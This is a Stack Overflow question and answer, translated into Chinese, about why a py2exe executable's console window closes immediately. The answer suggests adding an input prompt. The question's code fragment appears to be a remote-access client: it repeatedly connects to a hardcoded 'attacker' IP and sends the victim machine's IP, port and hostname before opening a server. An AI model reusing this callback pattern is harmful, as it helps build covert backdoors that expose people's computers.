我使用了这个 setup.py 脚本:
from distutils.core import setup
import py2exe
setup(console=['tcphost.py'])
to compile a code that imports this:
import os
import pygame.camera
import numpy as np
import time
import cv2
import socket
import autopy
import glob
def TCPclient ():
CreatePath()
ViHost = str(socket.gethostbyname(socket.gethostname()))
ViPort = 6869
AtHost = "192.168.56.1"
AtPort = ViPort
AtSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
TryCon = True
while TryCon == True:
try:
print "Trying to connect..."
AtSock.connect((AtHost, AtPort))
TryCon = False
except:
print "Could not connect"
TryCon = True
time.sleep(30)
print ("Connected.")
AtSock.send("<||.IP..||>" + ViHost)
time.sleep(1)
AtSock.send("<||.PRT.||>" + str(ViPort))
time.sleep(1)
AtSock.send("<||.NAM.||>" + str(socket.gethostname()))
time.sleep(1)
AtSock.send("<||.EXT.||>")
time.sleep(1)
AtSock.close()
print ("Messages sent and socket closed.")
TCPserver (ViHost, ViPort)
if __name__ == "__main__":
TCPclient()
(无法发布所有代码,因为它太大而导致堆栈溢出)
它编译得很好,但是当我尝试运行可执行文件时,终端窗口会弹出打印
Trying to connect...
Could not connect
(正如它应该的那样)但随后关闭得非常快,但是如果我尝试从终端运行它,它工作正常。 为什么以及如何使其保持打开状态?
编辑
只是为了弄清楚,如果我双击可执行文件,则会弹出一个窗口并关闭。 如果我从命令行运行 exe,一切都很好。
最佳答案
time.sleep
不是导致脚本停止的原因。
Windows 命令正在执行它应该执行的操作,它运行脚本,然后当所有内容执行完毕后,它会自行关闭。
阻止这种情况发生的常见方法是在脚本末尾包含 input()
:
Python 2.7
raw_input("Press Enter to exit")
或Python 3.4
input("Press Enter to exit")
关于Python time.sleep 关闭终端,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/31351620/